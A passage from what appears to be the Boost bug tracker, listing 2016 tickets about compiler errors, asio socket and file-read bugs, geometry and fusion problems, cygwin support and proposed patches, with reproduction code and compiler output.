Solution: Commenting out/removing lines in boost/graph/propoerties.hpp

327 #if BOOST_WORKAROUND(SUNPRO_CC, BOOST_TESTED_AT(0x590)) && !defined (BOOST_GRAPH_NO_BUNDLED_

328 This compiler cannot define a partial specialization based on a

329 pointer-to-member type, as seen in boost/graph/subgraph.hpp line 985 (as of

330 trunk r53912

331 # define BOOST_GRAPH_NO_BUNDLED_PROPERTIES

332 #endif

seems to resolve the issue.

#12439: Problems with 180 and -180 meridian, using bg::cs::geographic

ostroukhov@… — Tue, 06 Sep 2016 19:13:54 GMT

While calculating the envelope:

#include <boost/range.hpp>
#include <boost/iterator/iterator_facade.hpp>
#include <boost/geometry/geometries/concepts/ring_concept.hpp>
#include <boost/geometry/geometries/register/ring.hpp>
#include <boost/geometry.hpp>
#include <boost/geometry/geometries/geometries.hpp>
namespace bg = boost::geometry;
namespace bgi = boost::geometry::index;
    typedef bg::model::point<double, 2, bg::cs::geographic<
            bg::degree>> point_t;
        typedef bg::model::ring<point_t> ring_t;
    ring_t ring {{-180, 0}, {180, 0}, {180, -85}, {-180, -85}, {-180, 0}};
    auto aabb = bg::return_envelope< bg::model::box<point_t> >(ring);
    std::cout << "max_corner lon ="
             << aabb.max_corner().get<0>();
    std::cout << "min_corner lon ="
             << aabb.min_corner().get<0>();

It prints both max_corner and min_corner longitude as 180

#12437: asio::async_read with a tcp socket gives erroneous results under Windows

anonymous — Mon, 05 Sep 2016 05:09:12 GMT

I'm seeing asio::async_read give erroneous results with a tcp socket under Windows.

From the asio source code, async_read under Windows calls WSARecv, and it directly violates the "specification" of that function. The line in error is in the function "start_receive_op" in the source file socket_ops.ipp. It reads:

int result = ::WSARecv(impl.socket_, buffers,

static_cast<DWORD>(buffer_count), &bytes_transferred, &recv_flags, op, 0);

asio is using both the 3rd parameter lpNumberOfBytesRecvd which is set to "&bytes_transferred" and the 5th parameter lpOverlapped which is set to "op". This violates the documentation for WSARecv.

According to Microsoft's documentation for WSARecv's 3rd parameter lpNumberOfBytesRecvd: "Use NULL for this parameter if the lpOverlapped parameter is not NULL to avoid potentially erroneous results." Because the 5th parameter lpOverlapped is not NULL, the 3rd parameter lpNumberOfBytesRecvd must be set to NULL and bytes_transferred must be determined by some other method (probably by examining the contents of the lpOverlapped parameter).

#12436: BOOST_FUSION_DEFINE_STRUCT fails if a member type starts with "::"

jaredgrubb — Mon, 05 Sep 2016 03:45:07 GMT

The following code compiles fine in boost-1.57 but fails in boost-1.59 and later.

Example:

#include <string>
#include <boost/fusion/adapted/struct/define_struct.hpp>
#include <boost/fusion/include/define_struct.hpp>
#include <boost/fusion/include/adapt_struct.hpp>
BOOST_FUSION_DEFINE_STRUCT(
    (demo), employee,
    (::std::size_t, age))

The error shown by clang:

fusion.cpp:6:1: error: pasting formed 'BOOST_PP_IS_EMPTY_DEF_::', an invalid preprocessing token
BOOST_FUSION_DEFINE_STRUCT(
^
/Users/grubber/src/work/boost-1.59.0/boost/fusion/adapted/struct/define_struct.hpp:38:5: note: expanded from macro 'BOOST_FUSION_DEFINE_STRUCT'
    BOOST_FUSION_ADAPT_STRUCT(                                                  \
    ^
/Users/grubber/src/work/boost-1.59.0/boost/fusion/adapted/struct/adapt_struct.hpp:110:17: note: expanded from macro 'BOOST_FUSION_ADAPT_STRUCT'
                BOOST_FUSION_ADAPT_STRUCT_FILLER_0(0,0)ATTRIBUTES,              \
                ^
/Users/grubber/src/work/boost-1.59.0/boost/fusion/adapted/struct/detail/adapt_base_attr_filler.hpp:25:5: note: expanded from macro 'BOOST_FUSION_ADAPT_STRUCT_FILLER_0'
    BOOST_FUSION_ADAPT_STRUCT_FILLER_1
    ^
note: (skipping 1 expansions in backtrace; use -fmacro-backtrace-limit=0 to see all)
/Users/grubber/src/work/boost-1.59.0/boost/fusion/adapted/struct/detail/adapt_base_attr_filler.hpp:35:17: note: expanded from macro 'BOOST_FUSION_ADAPT_STRUCT_WRAP_ATTR'
    BOOST_PP_IF(BOOST_PP_IS_EMPTY(X),                                           \
                ^
/Users/grubber/src/work/boost-1.59.0/boost/preprocessor/facilities/is_empty.hpp:35:34: note: expanded from macro 'BOOST_PP_IS_EMPTY'
#    define BOOST_PP_IS_EMPTY(x) BOOST_PP_IS_EMPTY_I(x BOOST_PP_IS_EMPTY_HELPER)
                                 ^
/Users/grubber/src/work/boost-1.59.0/boost/preprocessor/facilities/is_empty.hpp:36:93: note: expanded from macro 'BOOST_PP_IS_EMPTY_I'
#    define BOOST_PP_IS_EMPTY_I(contents) BOOST_PP_TUPLE_ELEM(2, 1, (BOOST_PP_IS_EMPTY_DEF_ ## contents()))
                                                                                            ^
1 error generated.

#12433: Make use of make_shared whenever possible in future.hpp

viboes — Sat, 03 Sep 2016 18:06:36 GMT

Even if boost::make_shared is not aware of Boost.Move there are a lot of places in future.hpp where make shared could be used and improve the performances.

#12431: BOOST_PP_TUPLE_PUSH_FRONT fails to expand with BOOST_PP_EXPAND

mjtruog@… — Thu, 01 Sep 2016 23:48:43 GMT

This problem probably affects other preprocessor macros added in the 1.56.0 release, but this is one I bumped into. It is unfortunate that more bugs are appearing in the preprocessor code, since the original source code has been very useful and stable in the past, when it was first added. To compile the attached test2.cpp, use:

g++ -Wall -Wextra -Werror -g -O0 -save-temps -o test2.o -c -fpic test2.cpp

My testing has been using version 1.58, though this problem should have existed since 1.56.

#12430: Adapt boost for cygwin - patches provided

frederic.bron@… — Thu, 01 Sep 2016 22:34:03 GMT

Boost comes badly for cygwin. Mainly is assumes that cygwin is Windows environment where cygwin does everything to be as close as possible to linux. I found here what cygwin people do each time they want to compile boost for cygwin: https://github.com/cygwinports/boost Could we integrate those patches to boost so that boost comes ready to be compiled in the future?

#12428: string_view. absence of documentation

voropaev_sg@… — Thu, 01 Sep 2016 08:50:31 GMT

In changelog for Boost 1.61 - "* The support for boost::basic_string_ref and its specializations is deprecated; users are encouraged to switch to boost::basic_string_view" But there isn't any information about string_view in boost documentation.

#12426: boost/preprocessor/seq/for_each_i.hpp fails on gcc 5.4.0 and appleclang 7.3.0

mjtruog@… — Wed, 31 Aug 2016 22:47:20 GMT

I have attached test1.cpp which can be compiled with:

g++ -Wall -Wextra -Werror -g -O0 -save-temps -o test1.o -c -fpic test1.cpp

There appears to be more than 1 problem, but this at least shows that BOOST_PP_SEQ_FOR_EACH_I is broken when using these compilers (the string should not be present in the output, but is, with these compilers). Just check the test1.ii file to observe this.

#12423: fusion::make_map breaks when passing references

oleg00@… — Tue, 30 Aug 2016 15:51:30 GMT

When using variadic maps the following code doesn't compile:

int i = 0;
fusion::make_map<int>(ref(i));

Clang gives this error: error : no matching constructor for initialization of 'detail::map_impl<0, pair<int, int &> >' 1> : base_type(first, rest...) 1> ^~

There is a constructor in fusion::pair that can do the required conversion:

       template <typename Second2>
        BOOST_FUSION_GPU_ENABLED
        pair(Second2&& val
          , typename boost::disable_if<is_lvalue_reference<Second2> >::type* /* dummy */ = 0
          , typename boost::enable_if<is_convertible<Second2, Second> >::type* /*dummy*/ = 0
        ) : second(BOOST_FUSION_FWD_ELEM(Second, val)) {}

But it's not being invoked since there's no make_map function that takes rvalue refs. I was able to make this work by adding another make_map overload:

   template <typename ...Key, typename ...T>
    BOOST_CONSTEXPR BOOST_FUSION_GPU_ENABLED
      inline map<
      fusion::pair<
      Key
      , typename detail::as_fusion_element<T>::type
      >...>
      make_map(T &&... arg)
    {
      typedef map<
        fusion::pair<
        Key
        , typename detail::as_fusion_element<T>::type
      >...>
        result_type;
      return result_type(std::forward<T>(arg)...);
    }

#12421: Even with BOOST_ALL_NO_LIB defined, VS14 linker looks for mt-s variant

emonette123@… — Mon, 29 Aug 2016 22:50:00 GMT

We do not use the default library names for boost. In fact, we only compile filesystem, system and date_time libraries. We define BOOST_ALL_NO_LIB, compile with b2 and rename the libraries to filesystem.lib, system.lib and date_time.lib for a static link with static linkage to standard lib. This worked for us for many Boost lib versions and different Visual Studio versions. With Boost 1.61 and Visual Studio 2015 (vc14), we receive the following error when linking a project to our renamed filesystem.lib for example:

LINK : fatal error LNK1104: cannot open file 'libboost_filesystem-vc140-mt-s-1_61.lib'

No matter if we even specify --layout=sytem as a build option to generate libboost_filesystem.lib: we still get a linkage error on the complete -vc140-mt-s-1_61 variant.

Leaving both renamed libraries and boost named libraries in our library path fixes the issue.

Why is Visual Studio 14.0 linker still using autolink features with boost 1.61, even though we specify boost not to use autolink (ie, we define BOOST_ALL_NO_LIB).

We also get a macro redefinition warning when we define BOOST_ALL_NO_LIB in user.hpp header. It looks like it is correctly defined, but linker will still look for the -vc140-mt-s-1_61 variant of the library.

I tried about all possibilities when compiling with b2, to no avail.

#12420: Boost filesystem should use POSIX API on cygwin

frederic.bron@… — Mon, 29 Aug 2016 10:53:43 GMT

Hi,

On cygwin, the following program

#include <iostream>

#include <boost/filesystem.hpp>

int main() {

auto p = boost::filesystem::path{"foo"}; p /= "bar"; std::cout << p.string() << '\n'; return 0;

}

outputs: foo\bar

but cygwin is a posix system and I expect: foo/bar

I read in the doc that "User-defined BOOST_POSIX_API and BOOST_WINDOWS_API macros are no longer supported."

I guess system/api_config.hpp should be:

-# if defined(_WIN32)

defined(CYGWIN) Windows default,

including MinGW and Cygwin +# if defined(_WIN32) Windows default, including MinGW # define BOOST_WINDOWS_API # else # define BOOST_POSIX_API # endif

#12419: use POSIX poll.h instead of glibc-specific sys/poll.h

git@… — Mon, 29 Aug 2016 08:41:54 GMT

POSIX specifies that <poll.h> is the correct header to include for poll()

http://pubs.opengroup.org/onlinepubs/009695399/functions/poll.html

whereas <sys/poll.h> is only needed for ancient glibc (<2.3), so let's follow POSIX instead.

As a side-effect, this silences a warnings when compiling against the musl C-library:

In file included from ./boost/asio/detail/socket_types.hpp:61:0,

from ./boost/asio/ip/address_v4.hpp:21, from ./boost/asio/ip/address.hpp:21, from libs/log/src/init_from_settings.cpp:65:

<sysroot>/usr/include/sys/poll.h:1:2: warning: #warning redirecting incorrect #include <sys/poll.h> to <poll.h> [-Wcpp]

#warning redirecting incorrect #include <sys/poll.h> to <poll.h>

etc.

#12418: boost.smart_ptr: mips assembly doesn't compile in mips16e mode

git@… — Mon, 29 Aug 2016 08:32:15 GMT

gcc.compile.c++ <builddir>/boost/bin.v2/libs/date_time/build/gcc-4.3.1/release/threading-multi/gregorian/greg_month.o

"mipsel-poky-linux-musl-g++" "-mel" "-mabi=32" "-msoft-float" "-march=mips32r2" "-mips16" "-minterlink-compressed" "-mtune=24kec" "-mdsp" "-Wl,-O1" "-Wl,--as-needed" "-fstack-protector-strong" "-Wl,-z,relro,-z,now" "--sysroot=<sysroot>" -ftemplate-depth-128 -O2 -pipe -g -feliminate-unused-debug-types -fdebug-prefix-map=<srcdir>=/usr/src/debug/boost/1.61.0-r0 -fdebug-prefix-map=<sysroot_host>= -fdebug-prefix-map=<sysroot>= -fstack-protector-strong -pie -fpie -D_FORTIFY_SOURCE=2 -Wformat -Wformat-security -Werror=format-security -fvisibility-inlines-hidden -O3 -finline-functions -Wno-inline -Wall -pthread -fPIC -DBOOST_ALL_DYN_LINK=1 -DBOOST_ALL_NO_LIB=1 -DDATE_TIME_INLINE -DNDEBUG -I"." -c -o "<builddir>/boost/bin.v2/libs/date_time/build/gcc-4.3.1/release/threading-multi/gregorian/greg_month.o" "libs/date_time/src/gregorian/greg_month.cpp"

{standard input}: Assembler messages: {standard input}:17603: Warning: the `dsp' extension requires MIPS32 revision 2 or greater {standard input}:17604: Error: unrecognized opcode `ll $3,4($16)' {standard input}:17606: Error: unrecognized opcode `sc $2,4($16)' {standard input}:17734: Error: unrecognized opcode `ll $3,8($16)' {standard input}:17736: Error: unrecognized opcode `sc $2,8($16)' {standard input}:18084: Error: unrecognized opcode `ll $3,4($4)' {standard input}:18086: Error: unrecognized opcode `sc $2,4($4)' {standard input}:18318: Error: unrecognized opcode `ll $3,8($4)' {standard input}:18320: Error: unrecognized opcode `sc $2,8($4)' {standard input}:19921: Error: unrecognized opcode `ll $3,4($2)' {standard input}:19923: Error: unrecognized opcode `sc $3,4($2)' {standard input}:20199: Error: unrecognized opcode `ll $4,4($16)' {standard input}:20201: Error: unrecognized opcode `sc $2,4($16)' {standard input}:23392: Error: unrecognized opcode `ll $4,8($16)' {standard input}:23394: Error: unrecognized opcode `sc $2,8($16)' ...failed updating 1 target...

include/boost/smart_ptr/detail/sp_counted_base_gcc_mips.hpp contains hand-written MIPS assembly, which is not compatible with the MIPS16e instruction set.

#12416: Windows: shared_mutex::state_data exceptions thrown in synthetic tests

Sun, 28 Aug 2016 23:21:13 GMT

Hi, My name is Tomer Gal.

We have created synthetic benchmarks in which we create many threads. This causes shared_mutex to throw an exception when it has more than 2047 waiting threads due to the following limits:

struct state_data {

unsigned shared_count:11,

shared_waiting:11, exclusive:1, upgrade:1, exclusive_waiting:7, exclusive_waiting_blocked:1;

Obviously, creating more than 2047 threads waiting for a lock is too much for 'normal' code... however, the boost library shouldn't be the limiting factor for such a usage in my opinion.

The state_data is currently limited to the size of(long) which is 32 bits, and it looks like it could be increased to 64 bits.

Could this be fixed?

Regards, Tomer Gal, CTO at OpTeamizer

#12409: Building boost using different calling conventions

fabrice.lecuyer@… — Tue, 23 Aug 2016 22:51:54 GMT

Hi all, I need the boost libraries built using the stdcall convention, as opposed to the cdecl convention I believe the pre-compiled libraries are built on. I have been doing so using Boost.Build using the CXXFLAGS=\Gz option. Unfortunately, it seems that the library naming doesn't cater for this variation (unlike release/debug, 32/64, etc.), just as it is not identified in config/auto_link.hpp. Is there a reason behind that, or am I missing something? It's a long shot, but should I assume this is not something considered for addition? Any guidance on how best to build, name, identify and link the boost libraries using a different calling convention than cdecl would much appreciated.

#12406: socket_select_interrupter throws exception when 127.0.0.1 was mapped to another IP address.

Mon, 22 Aug 2016 15:38:02 GMT

I’m developing an application using boost.asio for network communication under Windows. One of my customers complaints that the application crashes frequently. Later I find out that an system error exception was thrown within socket_select_interrupter::open_descriptors, at line 88, and the error code was 10061.

As the code in that method shows, an acceptor socket is bound to 127.0.0.1, and then getsockname is called to get the actual address bound with the socket. This address will be used by a client socket to connect to. The problem is that after calling getsockname, the returned address is set to 127.0.0.1 immediately, for some broken firewalls. In most case, this is all right, getting address from a socket which bound to 127.0.0.1 will return 127.0.0.1, obviously. But here is an exception. My customer makes an IP mapping in his router, maps 127.0.0.1 to another IP, causing the socket is bound to a total different address. Thus the client socket fails to connect to 127.0.0.1, and an exception is thrown.

My approach to solve this problem is setting the address to 127.0.0.1 only when it is 0.0.0.0, just like the code shows below. This fixes the crash of my customer.

// Some broken firewalls on Windows will intermittently cause getsockname to
// return 0.0.0.0 when the socket is actually bound to 127.0.0.1. We
// explicitly specify the target address here to work around this problem.
if (addr.sin_addr.s_addr == socket_ops::host_to_network_long(INADDR_ANY)) {
  addr.sin_addr.s_addr = socket_ops::host_to_network_long(INADDR_LOOPBACK);
}

I think my customer is not the only one who meets this problem, and I hope it will be solved in the future version of boost.

#12403: wave: #include with an empty file causes a crash under Windows

anonymous — Sat, 20 Aug 2016 22:31:14 GMT

If a file included with #include is processed by boost wave, it will crash with an access violation under Windows. It doesn't appear to crash under Linux, though it could still be an issue that just isn't bad enough to bring down the whole system.

The following is an example:

#include "Empty.h"
int foo()
{
    return 0;
}

Note that Empty.h must be completely empty, including no terminating newline.

#12399: minmax_element in Boost.Range

Thu, 18 Aug 2016 02:12:25 GMT

The Boost Range library has the min_element and max_element algorithms. However it's curiously missing the minmax_element algorithm from C++11. This is a request to add this algorithm to Boost.Range.

#12397: static_assert in arg.hpp failing when using boost::placeholder with std::bind

anonymous — Wed, 17 Aug 2016 10:42:49 GMT

In our project we currently use std::bind with boost::placeholers because boost::placeholders are already global namespace and some some of the dependency (header) libraries might depend on this so we can't use BOOST_BIND_NO_PLACEHOLDERS currently.

So we make boost::placeholers work with std::bin with this code:

namespace std {
	template<int N>
	struct is_placeholder<boost::arg<N>> : public integral_constant<int, N> {};
}

This worked fine, but since boost 1.60 when BOOST_CONSTEXPR was added to the boost::arg contructor the compliation fails for some of our developers with

error: static assertion failed: I == is_placeholder<T>::value
         BOOST_STATIC_ASSERT( I == is_placeholder<T>::value );

from arg.hpp

#12395: Asio Serial_port does not work after unplug and plug the cable back (reconnection)

paulorbhell@… — Tue, 16 Aug 2016 13:13:30 GMT

After unplug and plug the cable during runtime, the write_some operation returns the number of bytes written but if you check the other side no bytes were sent. If we restart the runtime, it works again.

The workaround I am trying to implement is if I have any timeout conditions I will release the resources and open the port again.

#12394: boost::lockfree::queue with gcc-4.6 + optimization

ygabay@… — Mon, 15 Aug 2016 15:21:25 GMT

I am seeing a potential issue with lockfree queue when using gcc-4.6 with compilation optimization turned on.

The behavior i'm seeing is that call to push() which returns true does not guarantee that the pushed element is consumable immediately. (i.e. a subsequent call to pop() might return false. after further debugging it seems like the element _will become_ consumable but it might take few more cpu cycles till this happens. this issue is not happening when turning the compiler optimizations off or when using gcc-4.8.

here is the test program i am using to reproduce the issue, which is spawning 2 threads, each of them looping through push() and then pop(), and at one point, the call to pop() fails which should never fail.

compilation line:

g++-4.6 -O1 -g -fno-inline -pthread -m64 -I/usr/local/include -c lockfree_test.cpp -o lockfree_test.cpp.o

sample program:

struct SemTask
{
 int x;
};
boost::lockfree::queue<SemTask * > queue(1);
void* runner(void* arg)
{
    std::cout << '.' << std::endl;
    while (!t_exit)
    {
      SemTask * task = new SemTask();
      assert(queue.push(task));
      assert(queue.pop(task));
      delete task;
    }
    return NULL;
}
int main(int argc, char** argv)
{
  assert(queue.is_lock_free());
  #define NUM_THRD 2
  pthread_t inc_x_thread[NUM_THRD];
  for (int i = 0; i < NUM_THRD; ++i) {
    if(pthread_create(&inc_x_thread[i], NULL, runner, NULL)) {
      fprintf(stderr, "Error creating thread\n");
      return -1;
    }
  }
  for (int i = 0; i < NUM_THRD; ++i) {
    if(pthread_join(inc_x_thread[i], NULL)) {
      fprintf(stderr, "Error joining thread\n");
      return -1;
    }
  }
  return 0;
}

#12393: Some geometry headers fail to compile indepedently

Mon, 15 Aug 2016 08:10:55 GMT

Following on from ticket:12289, I've identified some other Geometry headers that don't compile independently (under Clang) in violation of the Boost header policy :

Make sure that a translation unit consisting of just the contents of the header file will compile successfully.

I attach an output file detailing the errors I've seen.

I excluded [...]/detail/[...] headers from the list to check.

#12392: boost::iostreams::mapped_file fails during creating file with zero length

surtaevm@… — Mon, 15 Aug 2016 07:09:07 GMT

example

boost::iostreams::mapped_file_params par;
boost::iostreams::mapped_file file;
par.path = 'some.file';
par.offset = 0;
par.new_file_size = 0;
file.open(par);

#12385: program_options ignores long_allow_next

Tue, 09 Aug 2016 16:00:31 GMT

Setting the style to long_allow_next does not work and only --file=filename style options are accepted. Was OK in 1.57 but does not work as of 1.60

#12384: GetCurrentProcessId : is filling to get definition on "WinCE platform" for Release mode

manoharreddy620@… — Tue, 09 Aug 2016 08:25:20 GMT

We are getting below error from process.hpp for "GetCurrentProcessId" on WinCE platform:

\boost\implementation\boost_1_59_0\include\boost\detail\winapi\process.hpp(34) : error C2039: 'GetCurrentProcessId' : is not a member of '`global namespace

I have tried by including "kfuncs.h" for avoiding "error C2039: 'GetCurrentProcessId' : is not a memmber of '`global namespace" in "boost\detail\winapi\process.hpp", which resolves the above error but leading to the deferent errors listed below leading to cascading errors like below.

"error C2039: 'Sleep' : is not a member of '`global namespace, error C2873: 'Sleep' : symbol cannot be used in a using-declaration in "boost\detail\winapi\thread.hpp" for that i have added "#include <Winbase.h>"

After that getting errors like "error C2732: linkage specification contradicts earlier specification for 'TlsAlloc',see declaration of 'TlsAlloc" from "windows ce tools\sdks\sdk2wince7\include\armv4i\winbase.h".

#12383: boost::asio fails to read more than 65536 bytes from file asyncronously

AStepanjuk@… — Tue, 09 Aug 2016 07:10:21 GMT

When more than 65536 bytes are read into a buffer from a file using boost::asio::windows::stream_handle asynchronously, then buffer contains the wrong data after reading is completed.

Starting from 65537th byte the buffer contains the the data from the very beginning of the file, rather than the expected data.

Here is a code example, which reproduces the issue:

auto handle = ::CreateFile(L"BigFile.xml", GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, nullptr);
boost::asio::io_service ios;
boost::asio::windows::stream_handle streamHandle(ios, handle);
const auto to_read_bytes = 100000;
char buffer[to_read_bytes];
boost::asio::async_read(streamHandle, boost::asio::buffer(buffer, to_read_bytes), [](auto &ec, auto read) {
	std::cout << "Bytes read: " << read << std::endl;
});
ios.run();
auto bufferBegin = std::string(buffer, 38);
auto bufferCorrupted = std::string(buffer + 65536, 38);   // <- it contains bytes from the beginning of the file
std::cout << "offset 0: " << bufferBegin << std::endl;
std::cout << "offset 65536: " << bufferCorrupted << std::endl;
::CloseHandle(handle);

That code produces an output:

Bytes read: 100000
offset 0: <?xml version="1.0" encoding="UTF-8"?>
offset 65536: <?xml version="1.0" encoding="UTF-8"?>

The source file is a valid XML file, which is bigger than 65536 bytes in size.

This is reproducible with boost 1.61 + VS2015. Also that issue was in boost 1.55 + VS2010.
Operating systems are: Windows 7 and Windows Server 2008R2.

#12382: nvcc 7.5 unable to compile boost/numeric/odeint example

Mon, 08 Aug 2016 16:06:42 GMT

I'm trying to compile the boost example lorenz_parameters.cu referenced by the boost tutorial.

Changes I made to reduce the number of errors:

$ diff lorenz_parameters.cu.orig lorenz_parameters.cu
32c32,34
< typedef double value_type;
---
> //typedef double value_type;
> typedef float value_type;
>
35,38c37,40
< typedef thrust::device_vector< value_type > state_type;
< typedef thrust::device_vector< size_t > index_vector_type;
< // typedef thrust::host_vector< value_type > state_type;
< // typedef thrust::host_vector< size_t > index_vector_type;
---
> //typedef thrust::device_vector< value_type > state_type;
> //typedef thrust::device_vector< size_t > index_vector_type;
> typedef thrust::host_vector< value_type > state_type;
> typedef thrust::host_vector< size_t > index_vector_type;

compiler output: (same for gcc-4.9 and gcc-5)

$ nvcc -std=c++11 -o lorenz_parameters lorenz_parameters.cu
lorenz_parameters.cu(279): error: no instance of overloaded function "integrate_adaptive" matches the argument list
            argument types are: (boost::numeric::odeint::controlled_runge_kutta<boost::numeric::odeint::runge_kutta_dopri5<state_type, value_type, state_type, value_type, boost::numeric::odeint::thrust_algebra, boost::numeric::odeint::thrust_operations, boost::numeric::odeint::initially_resizer>, boost::numeric::odeint::default_error_checker<value_type, boost::numeric::odeint::thrust_algebra, boost::numeric::odeint::thrust_operations>, boost::numeric::odeint::default_step_adjuster<value_type, value_type>, boost::numeric::odeint::initially_resizer, boost::numeric::odeint::explicit_error_stepper_fsal_tag>, lorenz_system, std::pair<thrust::detail::normal_iterator<value_type *>, thrust::detail::normal_iterator<value_type *>>, double, double, const value_type)
/usr/include/boost/numeric/odeint/integrate/detail/integrate_adaptive.hpp(103): error: no instance of overloaded function "boost::numeric::odeint::controlled_runge_kutta<ErrorStepper, ErrorChecker, StepAdjuster, Resizer, boost::numeric::odeint::explicit_error_stepper_fsal_tag>::try_step [with ErrorStepper=boost::numeric::odeint::runge_kutta_dopri5<state_type, value_type, state_type, value_type, boost::numeric::odeint::thrust_algebra, boost::numeric::odeint::thrust_operations, boost::numeric::odeint::initially_resizer>, ErrorChecker=boost::numeric::odeint::default_error_checker<value_type, boost::numeric::odeint::thrust_algebra, boost::numeric::odeint::thrust_operations>, StepAdjuster=boost::numeric::odeint::default_step_adjuster<value_type, value_type>, Resizer=boost::numeric::odeint::initially_resizer]" matches the argument list
            argument types are: (lorenz_perturbation_system, state_type, double, double)
            object type is: boost::numeric::odeint::controlled_runge_kutta<boost::numeric::odeint::runge_kutta_dopri5<state_type, value_type, state_type, value_type, boost::numeric::odeint::thrust_algebra, boost::numeric::odeint::thrust_operations, boost::numeric::odeint::initially_resizer>, boost::numeric::odeint::default_error_checker<value_type, boost::numeric::odeint::thrust_algebra, boost::numeric::odeint::thrust_operations>, boost::numeric::odeint::default_step_adjuster<value_type, value_type>, boost::numeric::odeint::initially_resizer, boost::numeric::odeint::explicit_error_stepper_fsal_tag>
          detected during:
            instantiation of "size_t boost::numeric::odeint::detail::integrate_adaptive(Stepper, System, State &, Time &, Time, Time &, Observer, boost::numeric::odeint::controlled_stepper_tag) [with Stepper=boost::numeric::odeint::controlled_runge_kutta<boost::numeric::odeint::runge_kutta_dopri5<state_type, value_type, state_type, value_type, boost::numeric::odeint::thrust_algebra, boost::numeric::odeint::thrust_operations, boost::numeric::odeint::initially_resizer>, boost::numeric::odeint::default_error_checker<value_type, boost::numeric::odeint::thrust_algebra, boost::numeric::odeint::thrust_operations>, boost::numeric::odeint::default_step_adjuster<value_type, value_type>, boost::numeric::odeint::initially_resizer, boost::numeric::odeint::explicit_error_stepper_fsal_tag>, System=lorenz_perturbation_system, State=state_type, Time=double, Observer=boost::numeric::odeint::null_observer]"
/usr/include/boost/numeric/odeint/integrate/integrate_adaptive.hpp(45): here
            instantiation of "size_t boost::numeric::odeint::integrate_adaptive(Stepper, System, State &, Time, Time, Time, Observer) [with Stepper=boost::numeric::odeint::controlled_runge_kutta<boost::numeric::odeint::runge_kutta_dopri5<state_type, value_type, state_type, value_type, boost::numeric::odeint::thrust_algebra, boost::numeric::odeint::thrust_operations, boost::numeric::odeint::initially_resizer>, boost::numeric::odeint::default_error_checker<value_type, boost::numeric::odeint::thrust_algebra, boost::numeric::odeint::thrust_operations>, boost::numeric::odeint::default_step_adjuster<value_type, value_type>, boost::numeric::odeint::initially_resizer, boost::numeric::odeint::explicit_error_stepper_fsal_tag>, System=lorenz_perturbation_system, State=state_type, Time=double, Observer=boost::numeric::odeint::null_observer]"
/usr/include/boost/numeric/odeint/integrate/integrate_adaptive.hpp(83): here
            instantiation of "size_t boost::numeric::odeint::integrate_adaptive(Stepper, System, State &, Time, Time, Time) [with Stepper=boost::numeric::odeint::controlled_runge_kutta<boost::numeric::odeint::runge_kutta_dopri5<state_type, value_type, state_type, value_type, boost::numeric::odeint::thrust_algebra, boost::numeric::odeint::thrust_operations, boost::numeric::odeint::initially_resizer>, boost::numeric::odeint::default_error_checker<value_type, boost::numeric::odeint::thrust_algebra, boost::numeric::odeint::thrust_operations>, boost::numeric::odeint::default_step_adjuster<value_type, value_type>, boost::numeric::odeint::initially_resizer, boost::numeric::odeint::explicit_error_stepper_fsal_tag>, System=lorenz_perturbation_system, State=state_type, Time=double]"
lorenz_parameters.cu(285): here
lorenz_parameters.cu(43): warning: variable "sigma" was declared but never referenced
lorenz_parameters.cu(44): warning: variable "b" was declared but never referenced
2 errors detected in the compilation of "/tmp/tmpxft_00000806_00000000-9_lorenz_parameters.cpp1.ii".

system details:

Linux sid 4.6.0-1-amd64 SMP Debian 4.6.4-1 (2016-07-18) x86_64 GNU/Linux
libcuda1 361.45.18-2
libthrust-dev 1.8.1-1
nvidia-cuda-toolkit 7.5.18-2
- nvcc V7.5.17
libboost1.60-all-dev 1.60.0+dfsg-6
gcc:
- 5.4.0-6
- 4.9.3-14

#12381: Bootstrap.bat error

kylej.ukr@… — Thu, 04 Aug 2016 12:33:11 GMT

Hi, i'm using visual studio 2015 and I am trying to run bootstrap however I get "ERROR: Cannot determine the location of the VS Common Tools folder."

#12380: property_tree::ordered_end() missing

harris.pc@… — Thu, 04 Aug 2016 07:25:05 GMT

Surely there should be an ::ordered_end() to go with ::ordered_begin() ?

Currently, you must use ::not_found(), and the only indication that it is the same as ordered_end() is in the comments in the code.

#12379: Yet another problems with boolean operations with shared edges

anton.kovalev.239@… — Wed, 03 Aug 2016 14:43:05 GMT

Difference of polylineLINESTRING(4 4, 4 0, 2 0, 2 -2) and polygon POLYGON((0 0, 0 8, 8 8, 8 0, 4 0, 2 0, 0 0)) (see ascii-art below) is empty.

+-------------+ | | | | | + | | | | +---+---+-----+

| +

#12377: boost::filesystem::exist() returns false when file exist in system

girishjoshi189@… — Wed, 03 Aug 2016 12:25:18 GMT

I am writing a program for finding the particular file on windows. I have a file in C:\Windows\System32\FNTCACHE.DAT when I am finding for this boost::filesystem::exist() returns false. I checked the path, the file exist in system.

I tried to check status though filesystem::status() funstion. It returns file_not_found. Please let me know why it is returning false and file_not_found ?

I am working on Windows.

Thanks

#12376: boost::filesystem::exist() returns false when file exist in system

girishjoshi189@… — Wed, 03 Aug 2016 12:24:58 GMT

I tried to check status though filesystem::status() funstion. It returns file_not_found. Please let me know why it is returning false and file_not_found ?

I am working on Windows.

Thanks

#12375: Patch fixing use of boost::icl w/ MSVC CL.exe /P

anonymous — Wed, 03 Aug 2016 10:51:40 GMT

This patch makes it possible to use this header in programs built using the FASTbuild (http://fastbuild.org) and more precisely its caching feature.

Considering the following code:

clmacro.cpp:

int main(void)
{
#define funny_type(x) x
funny_type(int)const a = 2; // cl.exe -P clmacro.cpp -> `intconst a`
}

This compiles correctly by default with CL.exe

Cl.exe clmacro.cpp

However when using the /P compilation flag to obtain the pre-processed source, then trying to compile the resulting file this will fail because const gets stitched to the other symbol before compilation.

See:

cl.exe -P -Ficlmacro.i.cpp clmacro.cpp && cl.exe clmacro.i.cpp

#12374: doku bug boost::adaptors::sliced

brix@… — Wed, 03 Aug 2016 09:09:49 GMT

Precondition: 0 <= n && n <= m && m < distance(rng)

must be

Precondition: 0 <= n && n <= m && m =< distance(rng)

example:

std::vector<int> vec; vec.push_back(3); auto wholeVectorSlice=boost::adaptors::slice(vec,0,vec.size()); distance(rng)==1

Otherwise it woudln't be possible to include the last element of the input range in the slice.

#12373: Basic sign conversion

Wed, 03 Aug 2016 07:10:11 GMT

Mature libraries like boost.filesystem shouldn't be giving these sorts of errors with '-Wconversion' checks...

/Users/brett/local/include/boost/filesystem/string_file.hpp:27:27: warning:
      implicit conversion changes signedness: 'size_type' (aka 'unsigned long')
      to 'streamsize' (aka 'long') [-Wsign-conversion]
  file.write(str.c_str(), str.size());
